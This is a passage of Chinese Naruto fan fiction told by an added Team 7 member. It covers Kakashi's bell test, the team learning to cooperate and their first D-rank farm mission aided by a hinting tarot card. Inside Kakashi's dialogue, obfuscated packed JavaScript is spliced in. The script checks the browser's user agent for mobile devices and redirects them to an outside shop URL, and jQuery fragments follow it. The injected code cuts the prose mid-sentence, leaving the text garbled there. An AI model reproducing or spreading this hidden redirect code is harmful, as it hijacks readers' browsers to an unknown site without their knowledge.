我下意识地、极其轻微地呢喃出声。用力甩了甩头,试图将这些令人窒息的幻影驱逐。算了,不重要!眼下最重要的是——抢铃铛! “预备……” 卡卡西的声音响起。 话音未落! 鸣人的身影如同被点燃的炸药,瞬间从原地消失!金色的头发在阳光下划出一道刺目的轨迹,他像一头被彻底激怒的蛮牛,完全不顾任何策略,手持苦无,以最直接的路径朝着卡卡西猛冲过去! “看我的——!” 卡卡西连眼皮都没抬一下。就在鸣人的苦无即将触及他衣角的刹那,他极其随意地侧身,双手快如闪电般结了一个简单的印,银光一闪,他已鬼魅般出现在鸣人身后,手臂如铁钳般轻松扼住了鸣人的双臂。 “别那么心急嘛,” 卡卡西的声音依旧懒散 “我都还没说‘开始’呢。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16575529|187090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过……” 他瞥了一眼手中挣扎的鸣人 “你确实抱着杀死我的心情来的,我开始有点喜欢你们了。” “好了,预备……” 他顿了顿,清晰吐出那个词 “开始!” …… 我早已将“团结合作是唯一出路”的想法告知了大家。然而,佐助脸上写满了“不屑合作”,小樱受他影响,也明显犹豫。鸣人则完全沉浸在卡卡西的挑衅中,热血上头,更不可能听进我的话。 看来,只能靠自己了。 我强忍着大腿外侧撕裂般的剧痛,将自己更深地埋进茂密的灌木丛后。每一次细微的移动都牵扯着脆弱的伤处,如同烧红的烙铁在反复灼烫。冷汗浸湿了额发,顺着鬓角滑落。剧烈的行动已是奢望,我只能像一尊石像般潜伏,将呼吸压至最低,仅用一双眼睛死死锁定着场中那个银发的身影——旗木卡卡西。 鸣人那声震耳欲聋的“现在就来一决胜负吧!”如同惊雷炸响。看着他不管不顾地正面冲锋,而卡卡西老师却好整以暇地掏出了《亲热天堂》,我几乎能感受到鸣人身上蒸腾的怒火。 意料之中的“名场面”如期上演。 卡卡西如同融入阴影的幽灵,无声无息地出现在鸣人身后。 “木叶忍术秘传体术奥义·千年杀!” “噗——嗷嗷嗷嗷嗷——!!!” 凄厉的惨叫声中,鸣人划出一道极其不雅的弧线,重重砸进河里,溅起巨大的水花。我强压下冲出去查看的冲动,更深地缩进阴影。卡卡西仿佛只是掸去衣袖上的灰尘,悠闲地翻了一页书。 “可恶!卡卡西——!!!” 落汤鸡般的鸣人挣扎着爬上岸,双眼赤红如血。 “多重影分身之术!” “嘭嘭嘭嘭!”数十个一模一样的鸣人如同金色的海啸,带着滔天的声势,从四面八方疯狂涌向卡卡西! 卡卡西终于合上了书。几个看似随意、实则精妙无比的诱导动作——侧身、滑步、轻推——就让冲在最前面的影分身互相起了内讧打起来,随后化作白烟消散。影分身结束,满脸肿胀得鸣人似乎瞥见了树根下一点金属的反光。 “铃铛!” 他惊喜地大叫,不顾一切地猛冲过去。 “别过去!鸣人!是陷阱!” 我的警告被震耳欲聋的喊杀声和分身爆裂声彻底淹没。 “噗通!” 绳套陷阱精准触发!鸣人瞬间被倒吊起来,像条离水的鱼徒劳地扭动着,愤怒的吼声在树林间回荡 “混蛋!放我下来!有本事堂堂正正打一场!” 就在这混乱的瞬间,一道黑影如同离弦的黑色箭矢,从侧翼的浓密树冠中激射而出!是佐助!他眼神冰冷如淬火的刀锋,精准捕捉到了卡卡西因布置陷阱而露出的、转瞬即逝的微小破绽!双手化作一片模糊的残影,数枚手里剑撕裂空气,带着尖锐的厉啸,以极其刁钻的角度封锁了卡卡西所有可能的闪避路线! “噗嗤!” 手里剑精准地刺中了目标! 然而—— “砰!”白烟腾起! 只是一截替身木桩! “糟了!”佐助瞳孔骤然收缩成针尖,意识到自己位置暴露的瞬间,他毫不犹豫地抽身急退!树叶剧烈晃动,身影迅速消失在树影之中。我心中一紧,知道后续的发展只会对他更加不利——必须找到他,说服他合作! 一声带着惊恐的哀叫刺破空气,是小樱!她中了幻术!我猛地停下脚步,心脏狂跳。是去找佐助,还是去救小樱?大腿的剧痛如同催命的鼓点,逼着我快速抉择。无奈,佐助的藏匿能力远超我的追踪极限,我只能咬咬牙,转身循着声音的方向,踉跄地冲去。 在一处低洼的草丛里,我找到了蜷缩着、双眼失神、满脸泪痕的小樱。我立刻扑过去,用力掐她的人中 “小樱!醒醒!佐助需要你!快醒醒!” “唔…佐…佐助君?” 小樱悠悠转醒,眼神迷茫聚焦,看到是我,巨大的恐惧和后怕让她泪水再次汹涌 “好多血……佐助君他……他流了好多血!他是不是……” “别哭!那是幻术!佐助没事!” 我斩钉截铁地打断她,用力抓住她的肩膀 “现在,立刻跟我来!去救他!” 时间紧迫,我顾不上她是否完全恢复,一把将她拉起,拖着伤腿,忍着钻心的痛楚,朝着记忆中佐助可能被埋的方向拼命赶去。 计划,必须执行!绝不能被打乱! 冲到那片被翻动过的土坑旁,我拔出苦无,近乎疯狂地刨开佐助脖颈周围的泥土。小樱看到佐助还活着,瞬间把眼泪憋了回去,也跪下来和我一起奋力挖掘。 “佐助!听着!” 我一边挖,一边压低声音,语速飞快,每一个字都带着痛楚的喘息 “卡卡西老师在测试我们是否‘珍惜同伴’!单打独斗我们赢不了!必须合作!否则没人能抢到铃铛!我们都会被淘汰!” 汗水混着泥土从我苍白的脸上滑落,每一次用力都让大腿的伤口如同被利刃反复切割。 佐助剧烈地咳嗽着,吐出嘴里的泥土。他那双锐利的黑眸死死盯着我因剧痛而扭曲的脸,以及那双沾满污泥、因用力过猛而控制不住颤抖的手。他眼中冰冷坚硬的外壳似乎裂开了一道细微的缝隙,掠过一丝极其复杂的情绪——是惊愕,是审视,最终,那独狼般的固执被一丝动摇取代。他艰难地点了点头,声音沙哑得厉害 “…明白了。” “我没事!别哭了!” 佐助对着扑上来、泪眼婆娑的小樱低喝,带着一丝不易察觉的急促 “合作!去解开鸣人!” 小樱被佐助的语气惊醒,看到我鼓励的眼神,用力抹去脸上的泪痕 “嗯!”她立刻爬起来,冲向被倒吊在半空、兀自挣扎叫骂的鸣人。 “喂,小樱!这边!快帮我解开!” 鸣人看到救星,在空中扭动着大喊。 “知道了!别吵!马上就好!” 小樱手忙脚乱地解着绳结。 不远处的树梢上,卡卡西抱着手臂,饶有兴致地看着我们这场“自救行动”,那只露出的死鱼眼微微眯起,闪烁着评估的光芒。 终于,“噗通”一声,鸣人重重摔落在地,龇牙咧嘴地揉着手腕。佐助也在我和小樱的合力下,挣脱了泥土的束缚,虽然一身狼狈,泥土沾满了头发和衣服,但那双黑眸中的锐利光芒丝毫未减。 我们四人,第一次真正意义上地聚在了一起。气氛微妙而凝重,喘息声交织着,彼此的目光中带着劫后余生的庆幸和对未来行动的审视。 “听着,” 我强忍着腿上不断传来的尖锐痛楚,语速极快,力求清晰 “卡卡西老师太强,正面硬拼毫无胜算。他一直在观察我们的行动模式。我来做诱饵,利用我的伤势让他放松警惕!鸣人、佐助,埋伏在我指定的位置,” 我快速指向鸣人刚才中招的陷阱旁边那片看似平静的区域 “小樱,你负责在关键时刻,用苦无进行佯攻干扰!陷阱就在那里!这是我们唯一的机会!” 我迅速捡起一根树枝,在地上画出简略的地形图,标出埋伏点和预设陷阱的位置。 鸣人挠挠乱糟糟的金发,一脸困惑 “哈?诱饵?你这腿……真的能行吗?” “不行也得行。” 我咬紧牙关,目光扫过佐助和小樱,带着孤注一掷的决绝 “相信我一次。” 佐助沉默地看着我腿上再次洇出血迹的绷带,又对上我眼中不容置疑的坚定,最终,他冷冽的声音响起 “…按你说的做。别拖后腿。” 这已是他最大程度的认可。 “我…我一定会努力的!” 小樱握紧了手中的苦无,用力点头。 “行动!” 我低喝一声,深吸一口气,仿佛要将所有的痛楚和恐惧都压下去。拖着那条仿佛灌了铅、又如同被无数钢针刺穿的伤腿,我强迫自己一瘸一拐地、尽可能“自然”地走向之前鸣人触发陷阱的那片区域。同时,故意提高声音,带着一丝刻意为之的“虚弱”和挑衅 “卡卡西老师…出来啊!大家都和你过过招了,就剩我了!让我也见识见识你的实力,怎么样啊?” 我的步伐蹒跚而沉重,每一步落下都牵扯着大腿的伤口,带来一阵阵撕裂般的剧痛。额头上冷汗密布,顺着苍白的脸颊滑落,嘴唇也因疼痛而失去了血色。这副模样,完美地扮演了一个因伤行动不便、却又强撑着想要吸引注意力的“吊车尾废柴”。 卡卡西的目光果然被我吸引过来。他看着我艰难蹒跚的步伐和故作镇定却难掩痛苦的表情,那只露出的死鱼眼似乎极轻微地弯了弯,掠过一丝了然与玩味。他没有立刻攻击,而是像一只审视猎物的猫,保持着一种令人心焦的距离,悠闲地踱步靠近。 “哦?和鸣人一样主动挑战吗?勇气倒是可嘉。” 卡卡西的声音懒洋洋的,但他的脚步却异常稳定,始终与我保持着一个不远不近、进可攻退可守的距离,仿佛在试探我的极限,也像是在欣赏我的“表演”。 我强忍着剧痛,继续艰难地向预设的陷阱区域挪动,偶尔笨拙地扔出一两枚手里剑,轨迹歪斜,毫无威胁。我甚至故意将后背暴露给他,同时嘴里继续用言语刺激 “怎么?害怕了吗?连我这个伤员都不敢正面……” 话音未落! 意外发生了! 就在我按照计划,即将踏入预设陷阱触发边缘的关键一步时,脚下猛地一滑——踩到了一块被晨露彻底打湿、异常松动的石头!本就因伤势而严重失衡的身体瞬间失去了所有支撑! “啊——!” 一声短促而充满惊恐的尖叫不受控制地冲破喉咙! 我整个人像断线的木偶,完全不受控制地向后仰倒!而倒下的方向,赫然正是我们为卡卡西精心布置的那个、布满尖锐木刺和坚韧藤蔓的深坑陷阱!冰冷的绝望瞬间攫住了我的心脏! 时间仿佛被一只无形的手拉长、凝固! “!喂——!” “可恶!” “小心啊——!” 鸣人、佐助、小樱惊恐的呼喊声几乎同时撕裂了空气!他们埋伏的位置离我还有一段不短的距离,根本来不及救援! 就在我绝望地闭上眼,以为自己将成为自己陷阱的第一个牺牲品,身体即将坠入深渊的刹那—— “吊车尾!” 一声急促的、带着从未有过的担忧与恐慌的呼喊,几乎贴着我的耳畔炸响! 一道银色的闪电撕裂了凝固的时间! 是卡卡西老师! 他甚至没有结印,纯粹依靠那近乎非人的瞬身术!身影如同鬼魅般凭空出现在我身侧!他的左手快得超越了视觉的捕捉极限,如同铁箍般稳稳地、有力地揽住了我即将完全后仰倒下的腰肢!那股强大而精准的力量瞬间止住了我下坠的势头!与此同时,他右脚脚尖极其精准地在地面一块凸起的坚硬岩石上轻轻一点,身体借力,带着我如同失去重量的羽毛般,轻盈地向后飘飞了数米,最终稳稳地落在了陷阱范围之外、坚实而安全的草地上! 整个过程快得如同幻觉!电光火石之间,我的惊叫甚至只来得及发出一半! 就在卡卡西闪现救我的同一刹那—— “把她放下——!!!” 鸣人双目瞬间赤红,如同被彻底激怒的狂狮,所有的埋伏计划被他抛到九霄云外!他爆发出全身的查克拉,金色的身影化作一道愤怒的流光,从藏身处不顾一切地猛冲过来!他脑子里只有一个念头: 把我从卡卡西手里抢回来! “嗖!嗖!嗖!” 几乎与鸣人同步!数道凌厉至极的破空声撕裂了空气!是佐助!他眼神冰冷如极地寒冰,在鸣人冲出的瞬间也悍然发动了攻击!他投掷出的并非普通的手里剑,而是角度刁钻至极、精准锁定了卡卡西揽住我腰部的左臂关节和肩胛要害的苦无!意图再明显不过——迫使卡卡西松手防御! “卡卡西老师!放开她!” 小樱带着哭腔的尖叫声响起,她也从藏身处冲了出来,用尽全身力气将手中的苦无奋力掷向卡卡西的面门!虽然力量稍显不足,但那不顾一切的勇气和守护的决心却无比清晰! 面对这来自三个不同方向、几乎同时发动、目标明确且充满守护意味的凌厉攻击,卡卡西依旧稳稳地揽着我。那只露出的右眼中,第一次清晰地掠过一丝极其复杂的光芒——有刹那的惊讶,有由衷的赞许,甚至还有一丝……难以言喻的欣慰? 他没有选择硬抗,也没有反击。 只见他揽着我的腰,身体如同没有重量的柳絮,又似最柔韧的流水,在原地以一种不可思议的柔韧性和速度,进行了微小而精妙绝伦的晃动! “嗖!” 佐助射向关节的苦无擦着他的衣袖飞过,钉入身后的树干。 “叮!” 射向面门的苦无被他微微偏头,轻松躲过,擦着护额飞向远处。 而猛冲过来的鸣人,则被他揽着我、如同施展了空间魔法般的一个流畅侧滑步,完美地避开了冲撞的路线。鸣人收势不及,踉跄几步才勉强站稳。 所有的攻击,在旗木卡卡西面前,如同清风拂过山岗,尽数落空,徒留一片惊愕。 他稳稳地站在原地,依旧保持着那个保护性的姿势,低下头,看向怀中惊魂未定、脸色惨白如纸的我。时间仿佛在这一刻静止,我们的目光在极近的距离交汇,无声地流淌着复杂的情绪。稍后,卡卡西移开了视线,发出一声淡淡的、尾音却带着一丝不易察觉的轻颤:“受伤了,就老实待着。逞强……”他顿了顿,松开了手,“只会给同伴添麻烦。” 我踉跄一步才勉强站稳,心脏仍在胸腔里疯狂擂动,劫后余生的虚脱感让我浑身发软。同时,巨大的愧疚如同潮水般将我淹没——是我的意外,彻底打乱了精心策划的行动,还让同伴们因救援而完全暴露。 鸣人立刻冲到我身边,紧张地上下打量 “喂!你没事吧?吓死我了!差点以为你……” 佐助也迅速靠拢过来,虽然没有说话,但紧绷的脸色明显缓和了许多,警惕的目光却依旧锐利地锁定着卡卡西。 小樱跑过来扶住我的另一边胳膊,声音带着浓重的后怕和颤抖 “太好了……你没事……太好了……” 卡卡西没有理会鸣人的叫嚣和佐助警惕的目光。他慢悠悠地从忍具包里拿出另一个闹钟,指针清晰地指向——11点55分。 “好了,时间到。” 他的声音恢复了那种标志性的懒洋洋的调子,仿佛刚才那惊心动魄、生死一线的瞬间从未发生。 我们四人的心,瞬间被提到了嗓子眼,空气再次凝固。 “我宣布——” 卡卡西的目光如同实质的探照灯,逐一扫过我们每一个人——鸣人紧张得几乎要跳起来的脸,佐助紧抿成一条线的唇,小樱眼中浓浓的担忧,以及我苍白如纸的面容。他停顿了一下,清晰地吐出判决: “全员——不合格!” “什么——?!!” 鸣人第一个不敢置信地吼了出来,声音里充满了委屈和愤怒。 “理由很充分。” 卡卡西打断他,语气陡然变得严肃而冰冷,属于精英上忍的强大威压如同无形的潮水弥漫开来,瞬间压下了所有质疑。 “漩涡鸣人:冲动无谋,团队协作意识几乎为零。但是……” 他的目光落在鸣人身上,带着一丝审视后的肯定 “在同伴即将落入致命陷阱的瞬间,你毫不犹豫地放弃了埋伏,第一时间、不顾一切地冲出来救援。这份将同伴性命置于首位的心意,值得肯定。” “宇智波佐助:独断专行,前期完全无视队友,眼中只有任务目标。但是……” 卡卡西转向佐助,眼神锐利 “当你看到同伴真正遇险时,能在电光火石间做出最冷静、最有效的支援攻击,精准地试图迫使敌人放手。这份瞬间的反应力和战斗判断,合格。” “春野樱:前期缺乏主见,心神被其他事物占据。但是……” 卡卡西的目光转向小樱,语气温和了些许 “在同伴需要时,你能克服内心的巨大恐惧,勇敢地站出来发声,并积极参与攻击。这份守护同伴的勇气,是成为忍者最不可或缺的基石。” “……旁听生。” 卡卡西最后看向我,目光深邃而复杂,仿佛要看透我所有的伪装和挣扎 “战术意识尚可,懂得利用自身条件制定计划,并能成功说服最难搞的队友进行协同作战。这一点,出乎我的意料。但是……” 他的手指精准地指向我腿上那再次被鲜血染红的绷带 “对自身伤势和状态的评估严重不足!行动鲁莽草率,导致整个精密计划功亏一篑,并将所有队友置于被动救援的危险境地!在真正的、刀口舔血的任务中,这种错误……” 他的声音陡然加重 “将是致命的!会害死你自己,也会害死你的同伴!” 他停顿了片刻,目光如同冰冷的磐石,沉重地压在我们每个人的心上: “在忍者的世界里,打破规则的人,是废物……” 他的目光如最锋利的刀锋,缓缓扫过我们年轻而紧张的面庞,然后,一字一句,清晰无比地,说出了那句贯穿了无数忍者灵魂的箴言: “……但是,不懂得珍惜同伴的人,连废物都不如!” “不过嘛……” 卡卡西的语气突然来了个一百八十度大转弯,变得轻松狡黠,仿佛刚才那严厉的审判只是一场幻梦。他变戏法似的从身后拿出两个巨大的、散发着诱人香气的便当盒 “我好像从一开始就说过……不许吃早餐,不然会吐的。” 他“啪”地一声打开便当盒盖,里面是满满当当、色泽诱人、香气四溢的精致饭菜 “这……这是?” 小樱愣住了,看着那丰盛的便当,又看看卡卡西。 “我说过,抢到铃铛的人才能吃午饭。” 卡卡西晃了晃手中仅有的两个铃铛(另一个在他腰间),嘴角勾起一个狐狸般狡黠的弧度, “但可没说……只有抢到铃铛的人才能吃我卡卡西准备的便当。” 他用下巴点了点那两个便当 “从一开始,这就不是一场抢夺铃铛的测试,而是一场关于‘团队’的考验。我一直在观察的,是你们在面对‘淘汰’的巨大压力下,是否还能将同伴的性命和安危,放在比规则、比任务、比自己更重要的位置!很遗憾,在大部分时间里,你们的表现都堪称糟糕透顶。但是……” 他的目光再次扫过我们,这一次,带上了一丝不易察觉的、如同春阳化雪般的温和暖意 ?“在最后那一刻,当同伴真正面临生死危险时,你们所有人发自本能的行动——无论是鸣人不顾一切的冲动救援,佐助冷静致命的精准支援,还是小樱克服恐惧的勇敢发声——都无比清晰地告诉了我,你们心中那份‘珍惜同伴’的意志,压倒了冰冷的规则,压倒了内心的恐惧,甚至压倒了你们各自鲜明的缺点!这……” 卡卡西的声音带着一种沉甸甸的力量 “才是忍者最需要、也最宝贵的东西——同伴间无法斩断的羁绊与守护之心!” “好了,” 卡卡西将两个沉甸甸的便当盒放在中央的木桩上,仿佛放下了一个承诺 “午饭时间到。你们……” 他顿了顿,目光扫过我们四人 “一起吃吧。” 凝滞沉重的气氛,如同冰雪消融,瞬间被一种复杂而温暖的洪流所取代。鸣人第一个欢呼着扑向便当 “哇!饿死我了!卡卡西老师你太棒了!” 佐助默默地走过来,虽然脸上依旧没什么表情,但紧绷的线条明显柔和了。小樱也赶紧上前,帮忙打开便当盖子。我拖着沉重的伤腿,一步一步,慢慢地挪过去。 鸣人迫不及待地狼吞虎咽,仿佛饿了几辈子。小樱细心地将另一个便当里的饭团分给我和佐助。佐助沉默地接过,动作依旧带着宇智波的优雅,但速度明显快了不少。我看着自己便当盒里那条烤得金黄焦脆、香气扑鼻的最大烤鱼,习惯性地用筷子夹起,放到了鸣人那快要见底的饭盒里。 “唔唔!给我的吗?!”鸣人嘴里塞得鼓鼓囊囊,含糊不清地喊着,那双蓝色的眼睛因为惊喜和满足,笑成了两弯明亮的月牙。 佐助瞥了一眼鸣人碗里那条显眼的烤鱼,又侧目看了看我苍白的侧脸和腿上的绷带,嘴唇微动,最终什么也没说,只是低下头,更加专注地吃着自己碗里的食物。 卡卡西靠在远处一棵大树的树干上,慵懒地抱着双臂。炽烈阳光的金辉将四个围坐在木桩旁、分享着简单却无比珍贵便当的身影拉得长长的,镀上了一层温暖的光晕。他的目光不经意间扫过我因为刚才的动作而滑出口袋、沾了些许泥土的塔罗牌,那只露出的眼睛微微眯了一下,深邃的目光仿佛穿透了时空,思绪飘向了某个遥远而沉重的过往。 “明天开始,” 卡卡西的声音打破了这片宁静的温馨,带着一丝惯常的慵懒笑意,却比之前多了一份真实的温度 “第七班,执行第一个C级任务——帮老奶奶收庄稼。” “收……收庄稼?!” 鸣人猛地抬起头,嘴里的饭团差点噎住,眼睛瞪得溜圆。 佐助握着筷子的手几不可查地顿了一下,嘴角似乎极其轻微地抽搐了一下。 小樱则露出了一个“果然如此”的了然又带着点无奈的甜美笑容。 只不过,无论第一个任务是什么,属于第七班的故事,属于这四个少年少女的羁绊与传奇,终将在这片温暖而充满希望的夕阳余晖的见证下,正式拉开了它波澜壮阔的序幕。 10. 『烟火气与人情味』 夏日的木叶隐村,蝉鸣织成一张慵懒而密实的网,笼罩着被阳光晒得微烫的瓦片与街道。空气里浮动着草木蒸腾的气息,混合着远处飘来的饭香和忍具店特有的铁锈味,构成了一种名为“日常”的安稳旋律。 任务发布处前,第七班的四人——金发如烈阳般张扬的漩涡鸣人、眉眼冷峻抱臂而立的宇智波佐助、樱发柔顺神情认真的春野樱,以及安静站在角落的我——都伸长了脖子,带着少年人特有的期待与躁动。今天是个小小的奇迹日,因为我们的指导上忍,旗木卡卡西,竟然罕见地准时出现了!任务单已经由三代目火影大人亲自张贴并宣读完毕。 “啊啊啊!怎么还是D级!” 鸣人第一个哀嚎起来,像只被踩了尾巴的猫,金发炸得更蓬松了 “卡卡西老师!我要做更厉害的任务啊!” 佐助连眼皮都懒得抬,声音冷淡得像冰泉滑过岩石 “基础任务积累经验,白痴。” 他锐利的目光快速扫过任务单上的内容,但那个微微蹙起的、带着一丝不耐烦的眉头,还是无声地宣告了他内心的不满。 小樱则仔细阅读着每一项任务,粉色的眉头微蹙,转向鸣人时语气带着安抚的认真 “鸣人,D级任务也很重要啊。你看,每一项都是村民们真正需要帮助的事情呢。” 她纤细的手指划过任务单 “帮独居的河野婆婆收割倒伏的荞麦,照顾汤之屋老板娘忙不过来的三胞胎,帮秋道丁次家找回失踪的祖传腌菜缸,给千代婆婆检修她视若珍宝的古董织布机,还有……给在训练中受伤的青叶前辈送他遗漏的婚礼请柬。这些都关乎着别人的生活和心意呢。” 我安静地站在稍后一点的位置,目光掠过队友们生动的表情,最终落在任务单上。指尖无意识地摩挲着忍具包内侧粗糙的布料,里面那张名为『倒吊人』的塔罗牌,此刻正散发着微不可察的暖意,像一块被体温捂热的温玉,紧贴着皮肤。 自从来到这里之后,这张牌就变得有些“古怪”。它不再仅仅是一张冰冷的纸片,而是会在某些特定的时刻,给予我奇特的“提示”——有时是视野的微妙聚焦,仿佛镜头自动调整了焦距;有时是方向感的模糊指引,如同黑暗中遥远的灯塔;而更多时候,就像现在这样,是一种代表着“附近有值得注意之处”的温暖触感,无声地提醒着我。 “哼!反正都是些无聊的任务!” 鸣人还在不满地嘟囔,但接收到小樱认真不赞同的眼神,以及佐助那仿佛写着“你敢不做试试”的无声威胁目光后,声音还是不甘心地小了下去。 “那么,” 卡卡西慵懒的声音如同鬼魅般突然在鸣人背后响起,吓得后者猛地一蹦三尺高 “恐怕我们这几天的主题就是——‘木叶的烟火气与人情味’了。目标,完成所有五项D级任务!第一个地点,村西山坡上的河野婆婆麦田!出发!” 他那只露出的右眼弯成了月牙,手中的《亲热天堂》啪地合上。 任务一:麦田里的守护与绳结的秘密 河野婆婆的麦田铺展在村外向阳的山坡上,一大片金黄的荞麦倒伏在地,如同被顽皮巨人揉皱了的金色地毯,在灼热的夏日阳光下散发出干燥而浓郁的麦秆甜香。远处的蝉鸣和近处蜜蜂的嗡嗡声交织在一起。 “婆婆!木叶村最厉害的忍者漩涡鸣人来帮你啦!” 鸣人双手叉腰,气势十足地对着田埂上一位拄着拐杖、满脸皱纹的老婆婆宣布。下一秒,他双手迅速结印,查克拉涌动 “影分身之术!” 砰砰砰!十几个与鸣人本体一模一样的金发少年瞬间出现在田埂上,摩拳擦掌,场面一时间颇为壮观。 “哟西!冲啊!一人负责一垄!” 本体鸣人大手一挥,豪气干云。分身们嗷嗷叫着,如同出闸的猛兽般冲进倒伏的麦田。 然而,混乱几乎是瞬间爆发的。 “喂!这垄明明是我先看中的!” “胡说八道!我才是第一个冲到这里来的!” “等等!这一捆麦子到底算谁的?边界在哪里?” “喂喂喂!七乘八到底等于多少啊?五十六?不对吧?我记得是六十四?” “白痴!七乘八是五十六!七乘九才是六十三!” “你才是白痴!明明是……” 十几个鸣人为了最基本的乘法口诀在田埂上吵得面红耳赤,唾沫横飞,甚至互相揪起了衣领,推推搡搡,完全将收割的任务抛在了脑后。真正的麦捆可怜兮兮地躺在他们脚边,无人问津。河野婆婆拄着拐杖,浑浊的眼睛瞪得老大,布满沟壑的脸上交织着好笑与深深的无奈,喃喃道 “哎哟,这…这忍者大人…还真是热闹啊……” 佐助无声地叹了口气,那叹息轻得几乎被风吹散。他径直走到田边堆放农具的简易棚子旁,目光挑剔地扫过那些略显笨重、刃口也磨得不够锋利的镰刀。拿起一把掂量了一下,又嫌弃地放下。最终,他抽出了自己腰间寒光闪闪的苦无。阳光下,精钢打造的锋刃闪烁着冷冽的幽光。 在河野婆婆惊疑不定的目光注视下,佐助走到一捆倒伏得最厉害的荞麦前,沉稳地蹲下身。他没有像鸣人那样粗暴地拉扯,而是手腕微动,苦无精准地在纠缠的麦秆根部划过几道利落的轨迹。 动作干净、迅捷,带着一种近乎艺术性的精确。手腕轻巧地一挑,一捆整齐、切口平滑的麦穗就被完美地分离出来。他的动作并不快,却异常稳定、高效,仿佛不是在收割庄稼,而是在进行一项精密的手工艺操作。 小樱则是有样学样的,跟在佐助后面(其实还是想和佐助君多聊聊天吧……) 许是看着我有些可靠,或者是和善吧,我被婆婆颤巍巍的手拉到田埂边一棵枝叶繁茂的榉树下乘凉。 婆婆絮絮叨叨地打开了话匣子,说着今年反常的雨水,担忧着收成,害怕这些倒伏的麦子会被随时可能到来的暴雨泡坏发芽。她摘下自己那顶破旧却干净的草帽,指着帽带子上打着的几个复杂而陈旧的绳结,语气带着一丝怀念 “姑娘你看这绳结,是我年轻时跟一个走南闯北的行脚商人学的法子,能记点东西,比脑子好使。” 就在我凑近仔细观察那些看似杂乱无章的绳结时,忍具包里的塔罗牌突然传来一阵比刚才更明显的温热感,像一个小暖炉被点燃。心中一动,我借着整理忍具包的姿势,手指轻轻触碰了一下牌面。 刹那间,我的视野仿佛被一只无形的手轻柔地调整了角度——那些原本只是由粗糙草绳构成的、纠缠的线条,在我的“眼中”骤然被一层柔和而清晰的淡金色光晕笼罩。绳结的结构层次瞬间变得无比分明,甚至能“看”到绳结内部不同层次、不同打结方式所代表的意义 一个复杂的十字结代表“三日”,一个紧密的连环结代表“积云”,一个特殊角度的收尾结则指向“东南低洼”……这并非文字信息,而是一种更直接、更原始的直觉性信息流涌入脑海。 “婆婆,” 我指着草帽带子上那几个关键的绳结,轻声开口,带着一丝试探 “您打这个结,是不是在提醒自己,最近三天可能会有大雨?还有这个结,是说您家麦田东南角那片地方特别低洼,容易积水?” 河野婆婆浑浊的眼睛瞬间瞪圆了,满是不可思议地看着我 “哎呀!小姑娘,你…你…你怎么知道的?这老法子,连我那在做工的儿子都忘得一干二净了!真是神了!” 我有些不好意思地低下头,脸颊微热,毕竟不能直接说是塔罗牌告诉我的 “我…我以前可能学过一点,对这些细节比较敏感。”只能含糊地解释着。 仿佛是为了印证这古老的预警,就在下一秒,原本晴朗无云的天空毫无预兆地阴沉下来!浓重的乌云如同奔腾的墨色骏马,瞬间吞噬了阳光,豆大的雨点噼里啪啦地砸落下来,打在麦秆上、泥土上,也打在我们身上。 “啊啊啊!下雨了!搞什么鬼!” 鸣人们抱头鼠窜,分身们瞬间乱成一锅粥。 “糟了!婆婆的麦子!” 小樱惊呼出声,顾不得自己,第一时间想护住地上刚收拢一点的麦捆。 “东南角!” 我和河野婆婆几乎同时指向麦田最低洼的那个角落。果然,浑浊的雨水正以肉眼可见的速度疯狂汇聚,眼看就要淹没几堆尚未搬走的、小山般的麦垛! “鸣人!快!分身!” 小樱焦急地大喊 “去挖排水沟!把水引到山坡那边的旧渠去!快!” “哦…哦哦!明白!” 混乱的鸣人们终于找到了统一目标。十几个分身嗷嗷叫着扑向田埂,抄起锄头、铁锹就开始挖掘。泥水四溅,场面瞬间变得更加混乱不堪。分身们互相踩踏、推挤,泥巴糊了满脸满身,活像一群在泥潭里打滚嬉闹的猴子,效率低得令人绝望。 佐助眉头紧锁,雨水顺着他乌黑的发梢滴落。他迅速脱下自己深蓝色的短袖外套(露出了里面标志性的高领无袖衫),几个干净利落的纵跃跳到田埂旁那个堆放农具的简易棚子边。 他眼神锐利如鹰,手中苦无寒光一闪,飞快地削断几根支撑棚顶的细竹竿,用力一扯,一大块厚实的防水油布被他拽了下来。就在鸣人分身们七手八脚、歪歪扭扭地挖出一条浅得可怜的泥沟时,佐助已经顶着倾盆大雨,将油布精准地铺盖在几大堆刚刚收割下来、还未来得及搬运的麦垛上! 他用削尖的竹竿狠狠钉入泥土,牢牢固定住油布的边角。雨水猛烈地敲打在油布上,发出沉闷而有力的“砰砰”声,但麦垛暂时安全了。 “佐助君!干得漂亮!” 小樱松了一口气,随即又焦急地看向那群还在和泥巴奋战、效率低下的鸣人分身们 “鸣人!快点!沟要挖深一点!方向对准主渠!水要漫上来了!” 我站在树下,雨水顺着额发流下。忍具包里的塔罗牌再次变得滚烫,仿佛在急促地催促。我深吸一口气,强行压下心中的不安,集中精神,凭借刚才“看”到的绳结信息和牌面传来的那微弱却坚定的方向感,指向积水洼地边缘一处毫不起眼、长着几丛茂密杂草的地方 “鸣人!那边!挖那里!下面有硬石层,旁边就连着通往下游主渠的暗口!快!” 离得最近的一个鸣人分身下意识地抡起锄头,朝着我指的方向狠狠一挖!“哐当!”一声脆响,锄头果然碰到了坚硬的石头!旁边松软的泥土被湍急的水流迅速冲开,露出了一个被淤泥和杂草完全堵塞的石砌暗渠口! “找到了!在这里!” 鸣人本体兴奋地跳起来大叫。分身们立刻一拥而上,七手八脚地开始清理堵塞物。浑浊的积水终于找到了宣泄口,哗啦啦地顺着重新畅通的暗渠,欢快地流向更低处的河道。 雨势依然滂沱,但最危急的时刻总算过去了。 河野婆婆大部分的麦子保住了。鸣人的分身们累得东倒西歪,横七竖八地躺在泥水里大口喘气,个个都成了泥人。佐助沉默地站在油布覆盖的麦垛旁,湿透的黑色紧身衣勾勒出少年精瘦的轮廓,雨水顺着他冷峻的侧脸滑落,像个忠诚的守护神。小樱扶着惊魂未定的河野婆婆,掌心泛着柔和查克拉光芒,小心地帮她驱散膝头的寒气与湿冷。 